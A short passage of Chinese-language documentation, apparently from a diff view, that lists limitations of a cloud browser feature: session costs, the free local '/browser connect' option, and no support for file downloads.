|
||||
- **费用** — 云端会话消耗提供商额度；对话结束或非活跃后会话自动清理。使用 `/browser connect` 可免费本地浏览。
|
||||
- **不支持文件下载** — 无法从浏览器下载文件
|
||||
Loading…
Add table
Add a link
Reference in a new issue